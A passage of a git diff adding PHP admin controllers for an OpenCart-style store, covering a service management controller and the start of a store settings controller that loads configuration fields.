+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['service_store'])) {
+ $data['service_store'] = $this->request->post['service_store'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $data['service_store'] = $this->model_service_service->getServiceStores($this->request->get['service_id']);
+ } else {
+ $data['service_store'] = array(0);
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($service_info)) {
+ $data['sort_order'] = $service_info['sort_order'];
+ } else {
+ $data['sort_order'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($service_info)) {
+ $data['status'] = $service_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($service_info)) {
+ $data['noindex'] = $service_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ // Images
+ if (isset($this->request->post['service_image'])) {
+ $service_images = $this->request->post['service_image'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $service_images = $this->model_service_service->getServiceImages($this->request->get['service_id']);
+ } else {
+ $service_images = array();
+ }
+
+ $data['service_images'] = array();
+
+ foreach ($service_images as $service_image) {
+ if (is_file(DIR_IMAGE . $service_image['image'])) {
+ $image = $service_image['image'];
+ $thumb = $service_image['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['service_images'][] = array(
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'sort_order' => $service_image['sort_order']
+ );
+ }
+
+ // Downloads
+ $this->load->model('catalog/download');
+
+ if (isset($this->request->post['service_download'])) {
+ $service_downloads = $this->request->post['service_download'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $service_downloads = $this->model_service_service->getServiceDownloads($this->request->get['service_id']);
+ } else {
+ $service_downloads = array();
+ }
+
+ $data['service_downloads'] = array();
+
+ foreach ($service_downloads as $download_id) {
+ $download_info = $this->model_catalog_download->getDownload($download_id);
+
+ if ($download_info) {
+ $data['service_downloads'][] = array(
+ 'download_id' => $download_info['download_id'],
+ 'name' => $download_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['service_related'])) {
+ $services = $this->request->post['service_related'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $services = $this->model_service_service->getServiceRelated($this->request->get['service_id']);
+ } else {
+ $services = array();
+ }
+
+ $data['service_relateds'] = array();
+
+ foreach ($services as $service_id) {
+ $related_info = $this->model_service_service->getService($service_id);
+
+ if ($related_info) {
+ $data['service_relateds'][] = array(
+ 'service_id' => $related_info['service_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($service_info)) {
+ $products = $this->model_service_service->getProductRelated($this->request->get['service_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_relateds'] = array();
+ $this->load->model('catalog/product');
+
+ foreach ($products as $product_id) {
+ $product_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($product_info) {
+ $data['product_relateds'][] = array(
+ 'product_id' => $product_info['product_id'],
+ 'name' => $product_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['service_seo_url'])) {
+ $data['service_seo_url'] = $this->request->post['service_seo_url'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $data['service_seo_url'] = $this->model_service_service->getServiceSeoUrls($this->request->get['service_id']);
+ } else {
+ $data['service_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['service_layout'])) {
+ $data['service_layout'] = $this->request->post['service_layout'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $data['service_layout'] = $this->model_service_service->getServiceLayouts($this->request->get['service_id']);
+ } else {
+ $data['service_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('service/service_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'service/service')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['service_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->post['service_seo_url']) && is_array($this->request->post['service_seo_url'])) {
+ foreach ($this->request->post['service_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['service_description'])) {
+ foreach ($this->request->post['service_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['service_seo_url'][0][$language_id]) || trim($this->request->post['service_seo_url'][0][$language_id]) === '') {
+ $this->request->post['service_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['service_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['service_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['service_id']) || (($seo_url['query'] != 'service_id=' . $this->request->get['service_id'])))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $service_id) {
+ $this->model_service_service->editServiceStatus($service_id, 1);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $service_id) {
+ $this->model_service_service->editServiceStatus($service_id, 0);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'service/service')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCopy() {
+ if (!$this->user->hasPermission('modify', 'service/service')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('service/service');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['limit'])) {
+ $limit = $this->request->get['limit'];
+ } else {
+ $limit = $this->config->get('config_limit_autocomplete');
+ }
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'start' => 0,
+ 'limit' => $limit
+ );
+
+ $results = $this->model_service_service->getServices($filter_data);
+
+ foreach ($results as $result) {
+
+ $json[] = array(
+ 'service_id' => $result['service_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/setting/setting.php b/public/admin/controller/setting/setting.php
new file mode 100644
index 0000000..94a29ae
--- /dev/null
+++ b/public/admin/controller/setting/setting.php
@@ -0,0 +1,1134 @@
+load->language('setting/setting');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('config', $this->request->post);
+
+ if ($this->config->get('config_currency_auto')) {
+ $this->load->model('localisation/currency');
+ $this->load->controller('extension/currency/' . $this->config->get('config_currency_engine')."/currency" , $this->config->get('config_currency'));
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['owner'])) {
+ $data['error_owner'] = $this->error['owner'];
+ } else {
+ $data['error_owner'] = '';
+ }
+
+ if (isset($this->error['address'])) {
+ $data['error_address'] = $this->error['address'];
+ } else {
+ $data['error_address'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = '';
+ }
+
+ if (isset($this->error['country'])) {
+ $data['error_country'] = $this->error['country'];
+ } else {
+ $data['error_country'] = '';
+ }
+
+ if (isset($this->error['zone'])) {
+ $data['error_zone'] = $this->error['zone'];
+ } else {
+ $data['error_zone'] = '';
+ }
+
+ if (isset($this->error['customer_group_display'])) {
+ $data['error_customer_group_display'] = $this->error['customer_group_display'];
+ } else {
+ $data['error_customer_group_display'] = '';
+ }
+
+ if (isset($this->error['login_attempts'])) {
+ $data['error_login_attempts'] = $this->error['login_attempts'];
+ } else {
+ $data['error_login_attempts'] = '';
+ }
+
+ if (isset($this->error['voucher_min'])) {
+ $data['error_voucher_min'] = $this->error['voucher_min'];
+ } else {
+ $data['error_voucher_min'] = '';
+ }
+
+ if (isset($this->error['voucher_max'])) {
+ $data['error_voucher_max'] = $this->error['voucher_max'];
+ } else {
+ $data['error_voucher_max'] = '';
+ }
+
+ if (isset($this->error['processing_status'])) {
+ $data['error_processing_status'] = $this->error['processing_status'];
+ } else {
+ $data['error_processing_status'] = '';
+ }
+
+ if (isset($this->error['complete_status'])) {
+ $data['error_complete_status'] = $this->error['complete_status'];
+ } else {
+ $data['error_complete_status'] = '';
+ }
+
+ if (isset($this->error['log'])) {
+ $data['error_log'] = $this->error['log'];
+ } else {
+ $data['error_log'] = '';
+ }
+
+ if (isset($this->error['limit_admin'])) {
+ $data['error_limit_admin'] = $this->error['limit_admin'];
+ } else {
+ $data['error_limit_admin'] = '';
+ }
+
+ if (isset($this->error['limit_autocomplete'])) {
+ $data['error_limit_autocomplete'] = $this->error['limit_autocomplete'];
+ } else {
+ $data['error_limit_autocomplete'] = '';
+ }
+
+ if (isset($this->error['encryption'])) {
+ $data['error_encryption'] = $this->error['encryption'];
+ } else {
+ $data['error_encryption'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_stores'),
+ 'href' => $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('setting/setting', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['action'] = $this->url->link('setting/setting', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['config_meta_title'])) {
+ $data['config_meta_title'] = $this->request->post['config_meta_title'];
+ } else {
+ $data['config_meta_title'] = $this->config->get('config_meta_title');
+ }
+
+ if (isset($this->request->post['config_meta_description'])) {
+ $data['config_meta_description'] = $this->request->post['config_meta_description'];
+ } else {
+ $data['config_meta_description'] = $this->config->get('config_meta_description');
+ }
+
+ if (isset($this->request->post['config_meta_keyword'])) {
+ $data['config_meta_keyword'] = $this->request->post['config_meta_keyword'];
+ } else {
+ $data['config_meta_keyword'] = $this->config->get('config_meta_keyword');
+ }
+
+ if (isset($this->request->post['config_theme'])) {
+ $data['config_theme'] = $this->request->post['config_theme'];
+ } else {
+ $data['config_theme'] = $this->config->get('config_theme');
+ }
+
+ if ($this->request->server['HTTPS']) {
+ $data['store_url'] = HTTPS_CATALOG;
+ } else {
+ $data['store_url'] = HTTP_CATALOG;
+ }
+
+ $data['themes'] = array();
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('theme');
+
+ foreach ($extensions as $code) {
+ $this->load->language('extension/theme/' . $code, 'extension');
+
+ $data['themes'][] = array(
+ 'text' => $this->language->get('extension')->get('heading_title'),
+ 'value' => $code
+ );
+ }
+
+ if (isset($this->request->post['config_layout_id'])) {
+ $data['config_layout_id'] = $this->request->post['config_layout_id'];
+ } else {
+ $data['config_layout_id'] = $this->config->get('config_layout_id');
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ if (isset($this->request->post['config_name'])) {
+ $data['config_name'] = $this->request->post['config_name'];
+ } else {
+ $data['config_name'] = $this->config->get('config_name');
+ }
+
+ if (isset($this->request->post['config_owner'])) {
+ $data['config_owner'] = $this->request->post['config_owner'];
+ } else {
+ $data['config_owner'] = $this->config->get('config_owner');
+ }
+
+ if (isset($this->request->post['config_address'])) {
+ $data['config_address'] = $this->request->post['config_address'];
+ } else {
+ $data['config_address'] = $this->config->get('config_address');
+ }
+
+ if (isset($this->request->post['config_geocode'])) {
+ $data['config_geocode'] = $this->request->post['config_geocode'];
+ } else {
+ $data['config_geocode'] = $this->config->get('config_geocode');
+ }
+
+ if (isset($this->request->post['config_email'])) {
+ $data['config_email'] = $this->request->post['config_email'];
+ } else {
+ $data['config_email'] = $this->config->get('config_email');
+ }
+
+ if (isset($this->request->post['config_telephone'])) {
+ $data['config_telephone'] = $this->request->post['config_telephone'];
+ } else {
+ $data['config_telephone'] = $this->config->get('config_telephone');
+ }
+
+ if (isset($this->request->post['config_fax'])) {
+ $data['config_fax'] = $this->request->post['config_fax'];
+ } else {
+ $data['config_fax'] = $this->config->get('config_fax');
+ }
+
+ if (isset($this->request->post['config_image'])) {
+ $data['config_image'] = $this->request->post['config_image'];
+ } else {
+ $data['config_image'] = $this->config->get('config_image');
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['config_image']) && is_file(DIR_IMAGE . $this->request->post['config_image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['config_image'], 100, 100);
+ } elseif ($this->config->get('config_image') && is_file(DIR_IMAGE . $this->config->get('config_image'))) {
+ $data['thumb'] = $this->model_tool_image->resize($this->config->get('config_image'), 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['config_open'])) {
+ $data['config_open'] = $this->request->post['config_open'];
+ } else {
+ $data['config_open'] = $this->config->get('config_open');
+ }
+
+ if (isset($this->request->post['config_comment'])) {
+ $data['config_comment'] = $this->request->post['config_comment'];
+ } else {
+ $data['config_comment'] = $this->config->get('config_comment');
+ }
+
+ $this->load->model('localisation/location');
+
+ $data['locations'] = $this->model_localisation_location->getLocations();
+
+ if (isset($this->request->post['config_location'])) {
+ $data['config_location'] = $this->request->post['config_location'];
+ } elseif ($this->config->get('config_location')) {
+ $data['config_location'] = $this->config->get('config_location');
+ } else {
+ $data['config_location'] = array();
+ }
+
+ if (isset($this->request->post['config_country_id'])) {
+ $data['config_country_id'] = $this->request->post['config_country_id'];
+ } else {
+ $data['config_country_id'] = $this->config->get('config_country_id');
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ if (isset($this->request->post['config_zone_id'])) {
+ $data['config_zone_id'] = $this->request->post['config_zone_id'];
+ } else {
+ $data['config_zone_id'] = $this->config->get('config_zone_id');
+ }
+
+ if (isset($this->request->post['config_timezone'])) {
+ $data['config_timezone'] = $this->request->post['config_timezone'];
+ } elseif ($this->config->has('config_timezone')) {
+ $data['config_timezone'] = $this->config->get('config_timezone');
+ } else {
+ $data['config_timezone'] = 'UTC';
+ }
+ // Set Time Zone
+ $data['timezones'] = array();
+
+ $timestamp = time();
+
+ $timezones = timezone_identifiers_list();
+
+ foreach($timezones as $timezone) {
+ date_default_timezone_set($timezone);
+ $hour = ' (' . date('P', $timestamp) . ')';
+ $data['timezones'][] = array(
+ 'text' => $timezone . $hour,
+ 'value' => $timezone
+ );
+ }
+
+ date_default_timezone_set($this->config->get('config_timezone'));
+
+ if (isset($this->request->post['config_language'])) {
+ $data['config_language'] = $this->request->post['config_language'];
+ } else {
+ $data['config_language'] = $this->config->get('config_language');
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['config_admin_language'])) {
+ $data['config_admin_language'] = $this->request->post['config_admin_language'];
+ } else {
+ $data['config_admin_language'] = $this->config->get('config_admin_language');
+ }
+
+ if (isset($this->request->post['config_currency'])) {
+ $data['config_currency'] = $this->request->post['config_currency'];
+ } else {
+ $data['config_currency'] = $this->config->get('config_currency');
+ }
+
+ $data['currency_engines'] = [];
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('currency');
+
+ foreach ($extensions as $code) {
+
+ if ($this->config->get('currency_' . $code . '_status')) {
+ $this->load->language('extension/currency/' . $code, 'currency');
+
+ $data['currency_engines'][] = array(
+ 'text' => $this->language->get('currency')->get('heading_title'),
+ 'value' => $code
+ );
+ }
+ }
+
+ if (isset($this->request->post['config_currency_engine'])) {
+ $data['config_currency_engine'] = $this->request->post['config_currency_engine'];
+ } else {
+ $data['config_currency_engine'] = $this->config->get('config_currency_engine');
+ }
+
+ if (isset($this->request->post['config_currency_auto'])) {
+ $data['config_currency_auto'] = $this->request->post['config_currency_auto'];
+ } else {
+ $data['config_currency_auto'] = $this->config->get('config_currency_auto');
+ }
+
+ $this->load->model('localisation/currency');
+
+ $data['currencies'] = $this->model_localisation_currency->getCurrencies();
+
+ if (isset($this->request->post['config_length_class_id'])) {
+ $data['config_length_class_id'] = $this->request->post['config_length_class_id'];
+ } else {
+ $data['config_length_class_id'] = $this->config->get('config_length_class_id');
+ }
+
+ $this->load->model('localisation/length_class');
+
+ $data['length_classes'] = $this->model_localisation_length_class->getLengthClasses();
+
+ if (isset($this->request->post['config_weight_class_id'])) {
+ $data['config_weight_class_id'] = $this->request->post['config_weight_class_id'];
+ } else {
+ $data['config_weight_class_id'] = $this->config->get('config_weight_class_id');
+ }
+
+ $this->load->model('localisation/weight_class');
+
+ $data['weight_classes'] = $this->model_localisation_weight_class->getWeightClasses();
+
+ if (isset($this->request->post['config_limit_admin'])) {
+ $data['config_limit_admin'] = $this->request->post['config_limit_admin'];
+ } else {
+ $data['config_limit_admin'] = $this->config->get('config_limit_admin');
+ }
+
+ if (isset($this->request->post['config_limit_autocomplete'])) {
+ $data['config_limit_autocomplete'] = $this->request->post['config_limit_autocomplete'];
+ } elseif ($this->config->get('config_limit_autocomplete')) {
+ $data['config_limit_autocomplete'] = $this->config->get('config_limit_autocomplete');
+ } else {
+ $data['config_limit_autocomplete'] = 5;
+ }
+
+ if (isset($this->request->post['config_product_count'])) {
+ $data['config_product_count'] = $this->request->post['config_product_count'];
+ } else {
+ $data['config_product_count'] = $this->config->get('config_product_count');
+ }
+
+ if (isset($this->request->post['config_review_status'])) {
+ $data['config_review_status'] = $this->request->post['config_review_status'];
+ } else {
+ $data['config_review_status'] = $this->config->get('config_review_status');
+ }
+
+ if (isset($this->request->post['config_review_guest'])) {
+ $data['config_review_guest'] = $this->request->post['config_review_guest'];
+ } else {
+ $data['config_review_guest'] = $this->config->get('config_review_guest');
+ }
+
+ if (isset($this->request->post['config_voucher_min'])) {
+ $data['config_voucher_min'] = $this->request->post['config_voucher_min'];
+ } else {
+ $data['config_voucher_min'] = $this->config->get('config_voucher_min');
+ }
+
+ if (isset($this->request->post['config_voucher_max'])) {
+ $data['config_voucher_max'] = $this->request->post['config_voucher_max'];
+ } else {
+ $data['config_voucher_max'] = $this->config->get('config_voucher_max');
+ }
+
+ if (isset($this->request->post['config_tax'])) {
+ $data['config_tax'] = $this->request->post['config_tax'];
+ } else {
+ $data['config_tax'] = $this->config->get('config_tax');
+ }
+
+ if (isset($this->request->post['config_tax_default'])) {
+ $data['config_tax_default'] = $this->request->post['config_tax_default'];
+ } else {
+ $data['config_tax_default'] = $this->config->get('config_tax_default');
+ }
+
+ if (isset($this->request->post['config_tax_customer'])) {
+ $data['config_tax_customer'] = $this->request->post['config_tax_customer'];
+ } else {
+ $data['config_tax_customer'] = $this->config->get('config_tax_customer');
+ }
+
+ if (isset($this->request->post['config_customer_online'])) {
+ $data['config_customer_online'] = $this->request->post['config_customer_online'];
+ } else {
+ $data['config_customer_online'] = $this->config->get('config_customer_online');
+ }
+
+ if (isset($this->request->post['config_customer_activity'])) {
+ $data['config_customer_activity'] = $this->request->post['config_customer_activity'];
+ } else {
+ $data['config_customer_activity'] = $this->config->get('config_customer_activity');
+ }
+
+ if (isset($this->request->post['config_customer_search'])) {
+ $data['config_customer_search'] = $this->request->post['config_customer_search'];
+ } else {
+ $data['config_customer_search'] = $this->config->get('config_customer_search');
+ }
+
+ if (isset($this->request->post['config_customer_group_id'])) {
+ $data['config_customer_group_id'] = $this->request->post['config_customer_group_id'];
+ } else {
+ $data['config_customer_group_id'] = $this->config->get('config_customer_group_id');
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['config_customer_group_display'])) {
+ $data['config_customer_group_display'] = $this->request->post['config_customer_group_display'];
+ } elseif ($this->config->get('config_customer_group_display')) {
+ $data['config_customer_group_display'] = $this->config->get('config_customer_group_display');
+ } else {
+ $data['config_customer_group_display'] = array();
+ }
+
+ if (isset($this->request->post['config_customer_price'])) {
+ $data['config_customer_price'] = $this->request->post['config_customer_price'];
+ } else {
+ $data['config_customer_price'] = $this->config->get('config_customer_price');
+ }
+
+ if (isset($this->request->post['config_login_attempts'])) {
+ $data['config_login_attempts'] = $this->request->post['config_login_attempts'];
+ } elseif ($this->config->has('config_login_attempts')) {
+ $data['config_login_attempts'] = $this->config->get('config_login_attempts');
+ } else {
+ $data['config_login_attempts'] = 5;
+ }
+
+ if (isset($this->request->post['config_account_id'])) {
+ $data['config_account_id'] = $this->request->post['config_account_id'];
+ } else {
+ $data['config_account_id'] = $this->config->get('config_account_id');
+ }
+
+ $this->load->model('catalog/information');
+
+ $data['informations'] = $this->model_catalog_information->getInformations();
+
+ if (isset($this->request->post['config_cart_weight'])) {
+ $data['config_cart_weight'] = $this->request->post['config_cart_weight'];
+ } else {
+ $data['config_cart_weight'] = $this->config->get('config_cart_weight');
+ }
+
+ if (isset($this->request->post['config_checkout_guest'])) {
+ $data['config_checkout_guest'] = $this->request->post['config_checkout_guest'];
+ } else {
+ $data['config_checkout_guest'] = $this->config->get('config_checkout_guest');
+ }
+
+ if (isset($this->request->post['config_checkout_id'])) {
+ $data['config_checkout_id'] = $this->request->post['config_checkout_id'];
+ } else {
+ $data['config_checkout_id'] = $this->config->get('config_checkout_id');
+ }
+
+ if (isset($this->request->post['config_invoice_prefix'])) {
+ $data['config_invoice_prefix'] = $this->request->post['config_invoice_prefix'];
+ } elseif ($this->config->get('config_invoice_prefix')) {
+ $data['config_invoice_prefix'] = $this->config->get('config_invoice_prefix');
+ } else {
+ $data['config_invoice_prefix'] = 'INV-' . date('Y') . '-00';
+ }
+
+ if (isset($this->request->post['config_order_status_id'])) {
+ $data['config_order_status_id'] = $this->request->post['config_order_status_id'];
+ } else {
+ $data['config_order_status_id'] = $this->config->get('config_order_status_id');
+ }
+
+ if (isset($this->request->post['config_processing_status'])) {
+ $data['config_processing_status'] = $this->request->post['config_processing_status'];
+ } elseif ($this->config->get('config_processing_status')) {
+ $data['config_processing_status'] = $this->config->get('config_processing_status');
+ } else {
+ $data['config_processing_status'] = array();
+ }
+
+ if (isset($this->request->post['config_complete_status'])) {
+ $data['config_complete_status'] = $this->request->post['config_complete_status'];
+ } elseif ($this->config->get('config_complete_status')) {
+ $data['config_complete_status'] = $this->config->get('config_complete_status');
+ } else {
+ $data['config_complete_status'] = array();
+ }
+
+ if (isset($this->request->post['config_fraud_status_id'])) {
+ $data['config_fraud_status_id'] = $this->request->post['config_fraud_status_id'];
+ } else {
+ $data['config_fraud_status_id'] = $this->config->get('config_fraud_status_id');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['config_api_id'])) {
+ $data['config_api_id'] = $this->request->post['config_api_id'];
+ } else {
+ $data['config_api_id'] = $this->config->get('config_api_id');
+ }
+
+ $this->load->model('user/api');
+
+ $data['apis'] = $this->model_user_api->getApis();
+
+ if (isset($this->request->post['config_stock_display'])) {
+ $data['config_stock_display'] = $this->request->post['config_stock_display'];
+ } else {
+ $data['config_stock_display'] = $this->config->get('config_stock_display');
+ }
+
+ if (isset($this->request->post['config_stock_warning'])) {
+ $data['config_stock_warning'] = $this->request->post['config_stock_warning'];
+ } else {
+ $data['config_stock_warning'] = $this->config->get('config_stock_warning');
+ }
+
+ if (isset($this->request->post['config_stock_checkout'])) {
+ $data['config_stock_checkout'] = $this->request->post['config_stock_checkout'];
+ } else {
+ $data['config_stock_checkout'] = $this->config->get('config_stock_checkout');
+ }
+
+ if (isset($this->request->post['config_affiliate_group_id'])) {
+ $data['config_affiliate_group_id'] = $this->request->post['config_affiliate_group_id'];
+ } else {
+ $data['config_affiliate_group_id'] = $this->config->get('config_affiliate_group_id');
+ }
+
+ if (isset($this->request->post['config_affiliate_approval'])) {
+ $data['config_affiliate_approval'] = $this->request->post['config_affiliate_approval'];
+ } elseif ($this->config->has('config_affiliate_approval')) {
+ $data['config_affiliate_approval'] = $this->config->get('config_affiliate_approval');
+ } else {
+ $data['config_affiliate_approval'] = '';
+ }
+
+ if (isset($this->request->post['config_affiliate_auto'])) {
+ $data['config_affiliate_auto'] = $this->request->post['config_affiliate_auto'];
+ } elseif ($this->config->has('config_affiliate_auto')) {
+ $data['config_affiliate_auto'] = $this->config->get('config_affiliate_auto');
+ } else {
+ $data['config_affiliate_auto'] = '';
+ }
+
+ if (isset($this->request->post['config_affiliate_commission'])) {
+ $data['config_affiliate_commission'] = $this->request->post['config_affiliate_commission'];
+ } elseif ($this->config->has('config_affiliate_commission')) {
+ $data['config_affiliate_commission'] = $this->config->get('config_affiliate_commission');
+ } else {
+ $data['config_affiliate_commission'] = '5.00';
+ }
+
+ if (isset($this->request->post['config_affiliate_id'])) {
+ $data['config_affiliate_id'] = $this->request->post['config_affiliate_id'];
+ } else {
+ $data['config_affiliate_id'] = $this->config->get('config_affiliate_id');
+ }
+
+ if (isset($this->request->post['config_return_id'])) {
+ $data['config_return_id'] = $this->request->post['config_return_id'];
+ } else {
+ $data['config_return_id'] = $this->config->get('config_return_id');
+ }
+
+ if (isset($this->request->post['config_return_status_id'])) {
